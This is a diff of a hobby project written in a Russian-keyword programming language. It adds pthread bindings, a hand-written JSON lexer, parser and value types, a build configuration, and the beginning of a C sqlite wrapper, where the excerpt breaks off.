фн tri_thread_join(ид: Цел64) @внеш
|
||||
фн tri_thread_detach(ид: Цел64) @внеш
|
||||
|
||||
фн новая струя*(струя: струя-внутр.Струя, аргумент: *): Цел64 {
|
||||
вернуть tri_thread_create(струя, аргумент)
|
||||
}
|
||||
|
||||
фн ждать струю*(ид: Цел64) {
|
||||
tri_thread_join(ид)
|
||||
}
|
||||
|
||||
фн отсоединить струю*(ид: Цел64) {
|
||||
tri_thread_detach(ид)
|
||||
}
|
||||
296
исх/форматы/джесон/лексер.tri
Normal file
296
исх/форматы/джесон/лексер.tri
Normal file
@@ -0,0 +1,296 @@
|
||||
модуль джесон
|
||||
|
||||
импорт "стд::строки"
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/спринтф"
|
||||
|
||||
// да, это тоже цифры. просто поверьте
|
||||
пусть цифры = массивы.Строки["1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "+"]
|
||||
|
||||
тип ДжесонТокен = класс {
|
||||
|
||||
}
|
||||
|
||||
фн (токен: ДжесонТокен) в строку(): Строка {
|
||||
вернуть "пустой токен. где вы его взяли вообще?"
|
||||
}
|
||||
|
||||
тип ДжесонТокены = []ДжесонТокен
|
||||
|
||||
фн массив токенов в строку(токены: ДжесонТокены): Строка {
|
||||
пусть рез := ""
|
||||
|
||||
цикл [номер]токен среди токены {
|
||||
рез := строки.собрать(рез, токен.в строку())
|
||||
}
|
||||
|
||||
вернуть рез
|
||||
}
|
||||
|
||||
тип ТокенФигурнаяСкобка = класс(ДжесонТокен) {
|
||||
закрывающая: Лог := ложь
|
||||
}
|
||||
|
||||
фн (токен: ТокенФигурнаяСкобка) в строку(): Строка {
|
||||
если токен.закрывающая {
|
||||
вернуть "}"
|
||||
} иначе {
|
||||
вернуть "{"
|
||||
}
|
||||
}
|
||||
|
||||
тип ТокенКвадратнаяСкобка = класс(ДжесонТокен) {
|
||||
закрывающая: Лог := ложь
|
||||
}
|
||||
|
||||
фн (токен: ТокенКвадратнаяСкобка) в строку(): Строка {
|
||||
если токен.закрывающая {
|
||||
вернуть "]"
|
||||
} иначе {
|
||||
вернуть "["
|
||||
}
|
||||
}
|
||||
|
||||
тип ТокенЗапятая = класс(ДжесонТокен) {
|
||||
|
||||
}
|
||||
|
||||
фн (токен: ТокенЗапятая) в строку(): Строка {
|
||||
вернуть ","
|
||||
}
|
||||
|
||||
тип ТокенДвоеточие = класс(ДжесонТокен) {
|
||||
|
||||
}
|
||||
|
||||
фн (токен: ТокенДвоеточие) в строку(): Строка {
|
||||
вернуть ":"
|
||||
}
|
||||
|
||||
тип ТокенЧисло = класс(ДжесонТокен) {
|
||||
значение: Цел64 := 0
|
||||
}
|
||||
|
||||
фн (токен: ТокенЧисло) в строку(): Строка {
|
||||
вернуть спринтф.ф("$цел", токен.значение)
|
||||
}
|
||||
|
||||
тип ТокенСтрока = класс(ДжесонТокен) {
|
||||
значение: Строка := ""
|
||||
}
|
||||
|
||||
фн (токен: ТокенСтрока) в строку(): Строка {
|
||||
пусть строка := строки.заменить все(токен.значение, "\\", "\\\\")
|
||||
строка := строки.заменить все(строка, "\"", "\\\"")
|
||||
|
||||
вернуть спринтф.ф("\"$стр\"", строка)
|
||||
}
|
||||
|
||||
тип ТокенБульБуль = класс(ДжесонТокен) {
|
||||
значение: Лог := ложь
|
||||
}
|
||||
|
||||
фн (токен: ТокенБульБуль) в строку(): Строка {
|
||||
если токен.значение {
|
||||
вернуть "true"
|
||||
} иначе {
|
||||
вернуть "false"
|
||||
}
|
||||
}
|
||||
|
||||
фн съесть символ(стр := Строка, ошибка := Строка): Строка {
|
||||
пусть символ = посмотреть но не трогать(стр, ошибка)
|
||||
если ошибка # "" { вернуть "" }
|
||||
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
вернуть символ
|
||||
}
|
||||
|
||||
фн съесть конкретный символ(стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка {
|
||||
пусть символ = посмотреть конкретный символ но не трогать(стр, ожидаемый символ, ошибка)
|
||||
если ошибка # "" { вернуть "" }
|
||||
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
вернуть символ
|
||||
}
|
||||
|
||||
фн посмотреть но не трогать(стр := Строка, ошибка := Строка): Строка {
|
||||
если длина(стр) = 0 {
|
||||
ошибка := "нежданный конец строки"
|
||||
вернуть ""
|
||||
}
|
||||
|
||||
пусть символ := строки.извлечь(стр, 0, 1)
|
||||
вернуть символ
|
||||
}
|
||||
|
||||
фн посмотреть конкретный символ но не трогать (стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка {
|
||||
если длина(стр) = 0 {
|
||||
ошибка := спринтф.ф("нежданный конец строки, ожидался символ '$символ'", ожидаемый символ)
|
||||
вернуть ""
|
||||
}
|
||||
|
||||
пусть символ = строки.извлечь(стр, 0, 1)
|
||||
если символ # ожидаемый символ {
|
||||
ошибка := спринтф.ф("ожидался символ '$стр', а пришёл '$символ'", ожидаемый символ, символ)
|
||||
вернуть ""
|
||||
}
|
||||
|
||||
вернуть символ
|
||||
}
|
||||
|
||||
фн читать число(стр := Строка, ошибка := Строка): Цел64 {
|
||||
пусть число := ""
|
||||
|
||||
пока истина {
|
||||
пусть символ = посмотреть но не трогать(стр, ошибка)
|
||||
если ошибка # "" { вернуть 0 }
|
||||
|
||||
пусть является цифрой := ложь
|
||||
пусть является знаком := ложь
|
||||
|
||||
цикл [номер]цифра среди цифры {
|
||||
если символ = цифра {
|
||||
является цифрой := истина
|
||||
прервать
|
||||
}
|
||||
}
|
||||
|
||||
если является цифрой {
|
||||
число := строки.собрать(число, символ)
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
} иначе {
|
||||
если длина(число) = 0 {
|
||||
ошибка := спринтф.ф("ожидалось число, а пришёл '$символ'", символ)
|
||||
вернуть 0
|
||||
}
|
||||
|
||||
пусть целое := 0
|
||||
пусть номер байта зачем он тебе нужен вообще глупая машина := 0
|
||||
пусть мне повезло = строки.извлечь цел(число, номер байта зачем он тебе нужен вообще глупая машина, целое)
|
||||
|
||||
если ~мне повезло {
|
||||
ошибка := спринтф.ф("ошибка преобразования числа '$число'", число)
|
||||
}
|
||||
|
||||
вернуть целое
|
||||
}
|
||||
}
|
||||
|
||||
вернуть 0
|
||||
}
|
||||
|
||||
фн читать строку(стр := Строка, ошибка := Строка): Строка {
|
||||
съесть конкретный символ(стр, "\"", ошибка)
|
||||
если ошибка # "" { вернуть "" }
|
||||
|
||||
пусть экран := ложь
|
||||
пусть строка := ""
|
||||
|
||||
пока истина {
|
||||
пусть символ = съесть символ(стр, ошибка)
|
||||
если ошибка # "" { вернуть "" }
|
||||
|
||||
если символ = "\\" {
|
||||
экран := ~экран
|
||||
} иначе если символ = "\"" & ~экран {
|
||||
вернуть строка
|
||||
} иначе {
|
||||
экран := ложь
|
||||
строка := строки.собрать(строка, символ)
|
||||
}
|
||||
}
|
||||
|
||||
вернуть строка
|
||||
}
|
||||
|
||||
фн читать буль буль(стр := Строка, ошибка := Строка): Лог {
|
||||
пусть истинаСтр = "true"
|
||||
пусть ложьСтр = "false"
|
||||
|
||||
если строки.есть префикс(стр, истинаСтр) {
|
||||
стр := строки.извлечь(стр, длина(истинаСтр(:Строка8)), длина(стр(:Строка8)) - длина(истинаСтр(:Строка8)))
|
||||
вернуть истина
|
||||
} иначе если строки.есть префикс(стр, ложьСтр) {
|
||||
стр := строки.извлечь(стр, длина(ложьСтр(:Строка8)), длина(стр(:Строка8)) - длина(ложьСтр(:Строка8)))
|
||||
вернуть ложь
|
||||
} иначе {
|
||||
пусть символ = посмотреть но не трогать(стр, ошибка)
|
||||
если ошибка # "" { вернуть ложь }
|
||||
|
||||
ошибка := спринтф.ф("ожидалось 'true' или 'false', а пришёл '$символ'", символ)
|
||||
вернуть ложь
|
||||
}
|
||||
}
|
||||
|
||||
фн токенизировать(стр: Строка, ошибка := Строка): ДжесонТокены {
|
||||
пусть токены = ДжесонТокены[]
|
||||
пусть сколько открыто := 0
|
||||
|
||||
пока истина {
|
||||
если длина(стр) = 0 & сколько открыто = 0 {
|
||||
прервать
|
||||
}
|
||||
|
||||
пусть символ = посмотреть но не трогать(стр, ошибка)
|
||||
если ошибка # "" { вернуть ДжесонТокены[] }
|
||||
|
||||
пусть является цифрой := ложь
|
||||
цикл [номер]цифра среди цифры {
|
||||
если символ = цифра {
|
||||
является цифрой := истина
|
||||
прервать
|
||||
}
|
||||
}
|
||||
|
||||
если символ = " " | символ = "\n" | символ = "\r" | символ = "\t" {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
} иначе если символ = "{" {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
|
||||
токены.добавить(ТокенФигурнаяСкобка{закрывающая: ложь})
|
||||
сколько открыто := сколько открыто + 1
|
||||
} иначе если символ = "}" {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
|
||||
токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина})
|
||||
сколько открыто := сколько открыто - 1
|
||||
} иначе если символ = "[" {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
|
||||
токены.добавить(ТокенКвадратнаяСкобка{закрывающая: ложь})
|
||||
} иначе если символ = "]" {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
|
||||
токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина})
|
||||
} иначе если символ = "," {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
|
||||
токены.добавить(ТокенЗапятая{})
|
||||
} иначе если символ = ":" {
|
||||
стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1)
|
||||
|
||||
токены.добавить(ТокенДвоеточие{})
|
||||
} иначе если является цифрой {
|
||||
пусть число = читать число(стр, ошибка)
|
||||
если ошибка # "" { вернуть ДжесонТокены[] }
|
||||
|
||||
токены.добавить(ТокенЧисло{значение: число})
|
||||
} иначе если символ = "\"" {
|
||||
пусть строка = читать строку(стр, ошибка)
|
||||
если ошибка # "" { вернуть ДжесонТокены[] }
|
||||
|
||||
токены.добавить(ТокенСтрока{значение: строка})
|
||||
} иначе если символ = "t" | символ = "f" {
|
||||
пусть буль = читать буль буль(стр, ошибка)
|
||||
если ошибка # "" { вернуть ДжесонТокены[] }
|
||||
|
||||
токены.добавить(ТокенБульБуль{значение: буль})
|
||||
} иначе {
|
||||
ошибка := спринтф.ф("внезапный символ '$стр'", символ)
|
||||
вернуть ДжесонТокены[]
|
||||
}
|
||||
}
|
||||
|
||||
вернуть токены
|
||||
}
|
||||
259
исх/форматы/джесон/парсер.tri
Normal file
259
исх/форматы/джесон/парсер.tri
Normal file
@@ -0,0 +1,259 @@
|
||||
модуль джесон
|
||||
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
|
||||
фн парсить массив(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонМногоЗначений {
|
||||
пусть массив = ДжесонМногоЗначений{значения: ДжесонЗначения[]}
|
||||
пусть текущий индекс := старт
|
||||
|
||||
если текущий индекс >= длина(токены) {
|
||||
ошибка := "неожиданный конец, ожидалась ["
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
пусть токен := токены[текущий индекс]
|
||||
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенКвадратнаяСкобка:
|
||||
если т.закрывающая {
|
||||
ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
} иначе {
|
||||
текущий индекс++
|
||||
}
|
||||
другое
|
||||
ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
пока текущий индекс < длина(токены) {
|
||||
токен := токены[текущий индекс]
|
||||
|
||||
пусть значение: ДжесонЗначение := ДжесонЗначение{}
|
||||
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенСтрока:
|
||||
значение := ДжесонСтрока{значение: т.значение}
|
||||
текущий индекс++
|
||||
когда ТокенЧисло:
|
||||
значение := ДжесонЧисло{значение: т.значение}
|
||||
текущий индекс++
|
||||
когда ТокенБульБуль:
|
||||
значение := ДжесонЛог{значение: т.значение}
|
||||
текущий индекс++
|
||||
когда ТокенКвадратнаяСкобка:
|
||||
если т.закрывающая {
|
||||
текущий индекс++
|
||||
использовано токенов := текущий индекс - старт
|
||||
вернуть массив
|
||||
} иначе {
|
||||
ошибка := спринтф.ф("ожидалась значение или ], а получен $стр", токен.в строку())
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
когда ТокенФигурнаяСкобка:
|
||||
если ~т.закрывающая {
|
||||
пусть использовано := 0
|
||||
значение := парсить объект(токены, текущий индекс, использовано, ошибка)
|
||||
|
||||
если ошибка # "" { вернуть ДжесонМногоЗначений{} }
|
||||
|
||||
текущий индекс := текущий индекс + использовано
|
||||
}
|
||||
другое
|
||||
ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку())
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
массив.значения.добавить(значение)
|
||||
|
||||
если текущий индекс >= длина(токены) {
|
||||
ошибка := "неожиданный конец, ожидался , или ]"
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
токен := токены[текущий индекс]
|
||||
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенКвадратнаяСкобка:
|
||||
если т.закрывающая {
|
||||
текущий индекс++
|
||||
использовано токенов := текущий индекс - старт
|
||||
вернуть массив
|
||||
} иначе {
|
||||
ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку())
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
когда ТокенЗапятая:
|
||||
текущий индекс++
|
||||
другое
|
||||
ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку())
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
}
|
||||
|
||||
ошибка := "неожиданный конец во время парсинга массива"
|
||||
вернуть ДжесонМногоЗначений{}
|
||||
}
|
||||
|
||||
фн парсить объект(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонОбъект {
|
||||
пусть объект = ДжесонОбъект{}
|
||||
пусть текущий индекс := старт
|
||||
|
||||
если текущий индекс >= длина(токены) {
|
||||
ошибка := "неожиданный конец, ожидалось {"
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
пусть токен := токены[текущий индекс]
|
||||
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенФигурнаяСкобка:
|
||||
если т.закрывающая {
|
||||
ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
} иначе {
|
||||
текущий индекс++
|
||||
}
|
||||
другое
|
||||
ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
пока текущий индекс < длина(токены) {
|
||||
токен := токены[текущий индекс]
|
||||
пусть ключ := ""
|
||||
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенСтрока:
|
||||
ключ := т.значение
|
||||
текущий индекс++
|
||||
когда ТокенФигурнаяСкобка:
|
||||
если т.закрывающая {
|
||||
текущий индекс++
|
||||
использовано токенов := текущий индекс - старт
|
||||
вернуть объект
|
||||
} иначе {
|
||||
ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
другое
|
||||
ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
если текущий индекс >= длина(токены) {
|
||||
ошибка := "неожиданный конец, ожидалось :"
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
токен := токены[текущий индекс]
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенДвоеточие:
|
||||
текущий индекс++
|
||||
другое
|
||||
ошибка := спринтф.ф("ожидался :, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
если текущий индекс >= длина(токены) {
|
||||
ошибка := "неожиданный конец, ожидалось значение"
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
токен := токены[текущий индекс]
|
||||
|
||||
пусть значение: ДжесонЗначение := ДжесонЗначение{}
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенСтрока:
|
||||
значение := ДжесонСтрока{значение: т.значение}
|
||||
текущий индекс++
|
||||
когда ТокенЧисло:
|
||||
значение := ДжесонЧисло{значение: т.значение}
|
||||
текущий индекс++
|
||||
когда ТокенБульБуль:
|
||||
значение := ДжесонЛог{значение: т.значение}
|
||||
текущий индекс++
|
||||
когда ТокенФигурнаяСкобка:
|
||||
если ~т.закрывающая {
|
||||
пусть использовано := 0
|
||||
значение := парсить объект(токены, текущий индекс, использовано, ошибка)
|
||||
|
||||
если ошибка # "" { вернуть ДжесонОбъект{} }
|
||||
|
||||
текущий индекс := текущий индекс + использовано
|
||||
} иначе {
|
||||
ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
когда ТокенКвадратнаяСкобка:
|
||||
если т.закрывающая {
|
||||
ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
} иначе {
|
||||
пусть использовано := 0
|
||||
значение := парсить массив(токены, текущий индекс, использовано, ошибка)
|
||||
|
||||
если ошибка # "" { вернуть ДжесонОбъект{} }
|
||||
текущий индекс := текущий индекс + использовано
|
||||
}
|
||||
другое
|
||||
ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: значение})
|
||||
|
||||
если текущий индекс >= длина(токены) {
|
||||
ошибка := "неожиданный конец, ожидался , или }"
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
токен := токены[текущий индекс]
|
||||
|
||||
выбор пусть т: тип токен {
|
||||
когда ТокенЗапятая:
|
||||
текущий индекс++
|
||||
когда ТокенФигурнаяСкобка:
|
||||
если т.закрывающая {
|
||||
текущий индекс++
|
||||
использовано токенов := текущий индекс - старт
|
||||
вернуть объект
|
||||
} иначе {
|
||||
ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
другое
|
||||
ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку())
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
}
|
||||
|
||||
ошибка := "неожиданный конец во время парсинга объекта"
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
фн парсить токены(токены: ДжесонТокены, ошибка := Строка): ДжесонОбъект {
|
||||
пусть использовано токенов := 0
|
||||
вернуть парсить объект(токены, 0, использовано токенов, ошибка)
|
||||
}
|
||||
|
||||
фн парсить*(строка: Строка, ошибка := Строка): ДжесонОбъект {
|
||||
пусть токены = токенизировать(строка, ошибка)
|
||||
|
||||
если ошибка # "" {
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
пусть объект = парсить токены(токены, ошибка)
|
||||
|
||||
если ошибка # "" {
|
||||
вернуть ДжесонОбъект{}
|
||||
}
|
||||
|
||||
вернуть объект
|
||||
}
|
||||
|
||||
фн сериализовать*(объект: ДжесонОбъект): Строка {
|
||||
вернуть массив токенов в строку(объект.в токены())
|
||||
}
|
||||
205
исх/форматы/джесон/типы.tri
Normal file
205
исх/форматы/джесон/типы.tri
Normal file
@@ -0,0 +1,205 @@
|
||||
модуль джесон
|
||||
|
||||
импорт "исх/строка"
|
||||
импорт "исх/спринтф"
|
||||
|
||||
тип ДжесонЗначение* = класс {
|
||||
|
||||
}
|
||||
|
||||
фн (значение: ДжесонЗначение) в строку*(): Строка {
|
||||
вернуть "пустое значение"
|
||||
}
|
||||
|
||||
фн (значение: ДжесонЗначение) в токены(): ДжесонТокены {
|
||||
авария("попытка преобразовать в токены базовое значение")
|
||||
}
|
||||
|
||||
фн (значение: ДжесонЗначение) пустое*(): Лог {
|
||||
вернуть истина
|
||||
}
|
||||
|
||||
фн (значение: ДжесонЗначение) строка*(): мб Строка {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
фн (значение: ДжесонЗначение) число*(): мб ДжесонЧисло {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
тип ДжесонЗначения* = []ДжесонЗначение
|
||||
|
||||
тип ДжесонСтрока* = класс(ДжесонЗначение) {
|
||||
значение*: Строка := ""
|
||||
}
|
||||
|
||||
фн (строка: ДжесонСтрока) в строку*(): Строка {
|
||||
вернуть спринтф.ф("\"$стр\"", строка.значение)
|
||||
}
|
||||
|
||||
фн (строка: ДжесонСтрока) в токены(): ДжесонТокены {
|
||||
вернуть ДжесонТокены[ТокенСтрока{значение: строка.значение}]
|
||||
}
|
||||
|
||||
фн (строка: ДжесонСтрока) пустое*(): Лог {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
фн (строка: ДжесонСтрока) строка*(): мб Строка {
|
||||
вернуть строка.значение
|
||||
}
|
||||
|
||||
тип ДжесонЧисло* = класс(ДжесонЗначение) {
|
||||
значение*: Цел64 := 0
|
||||
}
|
||||
|
||||
фн (число: ДжесонЧисло) в строку*(): Строка {
|
||||
вернуть спринтф.ф("$цел", число.значение)
|
||||
}
|
||||
|
||||
фн (число: ДжесонЧисло) в токены(): ДжесонТокены {
|
||||
вернуть ДжесонТокены[ТокенЧисло{значение: число.значение}]
|
||||
}
|
||||
|
||||
фн (число: ДжесонЧисло) пустое*(): Лог {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
фн (число: ДжесонЧисло) число*(): мб ДжесонЧисло {
|
||||
вернуть число
|
||||
}
|
||||
|
||||
тип ДжесонЛог* = класс(ДжесонЗначение) {
|
||||
значение*: Лог := ложь
|
||||
}
|
||||
|
||||
фн (лог: ДжесонЛог) в строку*(): Строка {
|
||||
если лог.значение {
|
||||
вернуть "истина"
|
||||
}
|
||||
|
||||
вернуть "ложб"
|
||||
}
|
||||
|
||||
фн (лог: ДжесонЛог) в токены(): ДжесонТокены {
|
||||
вернуть ДжесонТокены[ТокенБульБуль{значение: лог.значение}]
|
||||
}
|
||||
|
||||
фн (лог: ДжесонЛог) пустое*(): Лог {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
тип ДжесонМногоЗначений* = класс(ДжесонЗначение) {
|
||||
значения*: ДжесонЗначения = ДжесонЗначения[]
|
||||
}
|
||||
|
||||
фн (значения: ДжесонМногоЗначений) в строку*(): Строка {
|
||||
пусть выходная строка := ""
|
||||
|
||||
цикл [номер]значение среди значения.значения {
|
||||
если номер > 0 {
|
||||
выходная строка := спринтф.ф("$стр, ", выходная строка)
|
||||
}
|
||||
|
||||
выходная строка := строка.собрать(выходная строка, значение.в строку())
|
||||
}
|
||||
|
||||
вернуть спринтф.ф("[$стр]", выходная строка)
|
||||
}
|
||||
|
||||
фн (значения: ДжесонМногоЗначений) в токены(): ДжесонТокены {
|
||||
пусть токены = ДжесонТокены[ТокенКвадратнаяСкобка{закрывающая: ложь}]
|
||||
|
||||
цикл [номер]значение среди значения.значения {
|
||||
если номер > 0 {
|
||||
токены.добавить(ТокенЗапятая{})
|
||||
}
|
||||
|
||||
токены.добавить(значение.в токены()...)
|
||||
}
|
||||
|
||||
токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина})
|
||||
|
||||
вернуть токены
|
||||
}
|
||||
|
||||
фн (значения: ДжесонМногоЗначений) пустое*(): Лог {
|
||||
вернуть длина(значения.значения) = 0
|
||||
}
|
||||
|
||||
тип ДжесонОбъект* = класс(ДжесонЗначение) {
|
||||
значения*: ДжесонКлючЗначения := ДжесонКлючЗначения[]
|
||||
}
|
||||
|
||||
фн (объект: ДжесонОбъект) в строку*(): Строка {
|
||||
пусть выходная строка := ""
|
||||
|
||||
цикл [номер]значение среди объект.значения {
|
||||
если номер > 0 {
|
||||
выходная строка := спринтф.ф("$стр,\n", выходная строка)
|
||||
} иначе {
|
||||
выходная строка := спринтф.ф("\n$стр", выходная строка)
|
||||
}
|
||||
|
||||
выходная строка := строка.собрать(выходная строка, спринтф.ф("\"$стр\": $стр", значение.ключ, значение.значение.в строку()))
|
||||
}
|
||||
|
||||
вернуть спринтф.ф("{$стр\n}", выходная строка)
|
||||
}
|
||||
|
||||
фн (объект: ДжесонОбъект) в токены(): ДжесонТокены {
|
||||
пусть токены = ДжесонТокены[ТокенФигурнаяСкобка{закрывающая: ложь}]
|
||||
|
||||
цикл [номер]значение среди объект.значения {
|
||||
если номер > 0 {
|
||||
токены.добавить(ТокенЗапятая{})
|
||||
}
|
||||
|
||||
токены.добавить(ТокенСтрока{значение: значение.ключ})
|
||||
токены.добавить(ТокенДвоеточие{})
|
||||
токены.добавить(значение.значение.в токены()...)
|
||||
}
|
||||
|
||||
токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина})
|
||||
|
||||
вернуть токены
|
||||
}
|
||||
|
||||
фн (объект: ДжесонОбъект) пустое*(): Лог {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
фн (объект: ДжесонОбъект) получить*(ключ: Строка): ДжесонЗначение {
|
||||
пусть количество = длина(объект.значения)
|
||||
пусть ай := количество - 1
|
||||
|
||||
пока ай >= 0 {
|
||||
пусть значение = объект.значения[ай]
|
||||
|
||||
если значение.ключ = ключ {
|
||||
вернуть значение.значение
|
||||
}
|
||||
|
||||
ай := ай - 1
|
||||
}
|
||||
|
||||
вернуть ДжесонЗначение{}
|
||||
}
|
||||
|
||||
фн (объект: ДжесонОбъект) вставить*(ключ: Строка, новое значение: ДжесонЗначение) {
|
||||
цикл [номер]значение среди объект.значения {
|
||||
если значение.ключ = ключ {
|
||||
объект.значения[номер].значение := новое значение
|
||||
вернуть
|
||||
}
|
||||
}
|
||||
|
||||
объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: новое значение})
|
||||
}
|
||||
|
||||
тип ДжесонКлючЗначение* = класс {
|
||||
ключ*: Строка := ""
|
||||
значение*: ДжесонЗначение := позже
|
||||
}
|
||||
|
||||
тип ДжесонКлючЗначения* = []ДжесонКлючЗначение
|
||||
12
карга.json
Normal file
12
карга.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"project_name": "srab",
|
||||
"target": "linux",
|
||||
"include_modules": [
|
||||
{ "c_file": "suckit.c", "c_header": "suckit.h" },
|
||||
{ "c_file": "sckulya.c", "c_header": "sckulya.h" },
|
||||
{ "c_file": "pstruya.c", "c_header": "pstruya.h" },
|
||||
{ "c_file": "stdin.c", "c_header": "stdin.h" }
|
||||
],
|
||||
"compiler_flags": ["-pthread"],
|
||||
"linker_flags": ["-lsqlite3"]
|
||||
}
|
||||
46
си/pstruya.c
Normal file
46
си/pstruya.c
Normal file
@@ -0,0 +1,46 @@
|
||||
#include "pstruya.h"
|
||||
|
||||
typedef struct {
|
||||
struya_vnutr__TStruya routine;
|
||||
TTagPair arg;
|
||||
} tri_thread_launch_compound;
|
||||
|
||||
void* tri_thread_wrapper(void* arg) {
|
||||
tri_thread_launch_compound* compound = (tri_thread_launch_compound*) arg;
|
||||
compound->routine.func(compound->routine.receiver, compound->arg);
|
||||
|
||||
free(compound);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg) {
|
||||
pthread_t thread;
|
||||
pthread_attr_t attr;
|
||||
|
||||
pthread_attr_init(&attr);
|
||||
pthread_attr_setstacksize(&attr, 512 * 1024);
|
||||
|
||||
tri_thread_launch_compound* compound = malloc(sizeof(tri_thread_launch_compound));
|
||||
compound->routine = routine;
|
||||
compound->arg = arg;
|
||||
|
||||
int result = pthread_create(&thread, &attr, tri_thread_wrapper, (void*) compound);
|
||||
|
||||
if (result != 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return (int64_t)(uintptr_t)thread;
|
||||
}
|
||||
|
||||
void tri_thread_join(int64_t thread) {
|
||||
if (!thread) return;
|
||||
|
||||
pthread_join((pthread_t)(uintptr_t)thread, NULL);
|
||||
}
|
||||
|
||||
void tri_thread_detach(int64_t thread) {
|
||||
if (!thread) return;
|
||||
|
||||
pthread_detach((pthread_t)(uintptr_t)thread);
|
||||
}
|
||||
14
си/pstruya.h
Normal file
14
си/pstruya.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifndef STRUYA_H
|
||||
#define STRUYA_H
|
||||
|
||||
#include "rt_api.h"
|
||||
#include "struya_vnutr.h"
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int64_t tri_thread_create(struya_vnutr__TStruya routine, TTagPair arg);
|
||||
void tri_thread_join(int64_t thread);
|
||||
void tri_thread_detach(int64_t thread);
|
||||
|
||||
#endif // STRUYA_H
|
||||
160
си/sckulya.c
Normal file
160
си/sckulya.c
Normal file
@@ -0,0 +1,160 @@
|
||||
#include "sckulya.h"
|
||||
|
||||
int64_t tri_sqlite_open(TString filename, TString *error) {
|
||||
sqlite3* out_db = 0;
|
||||
|
||||
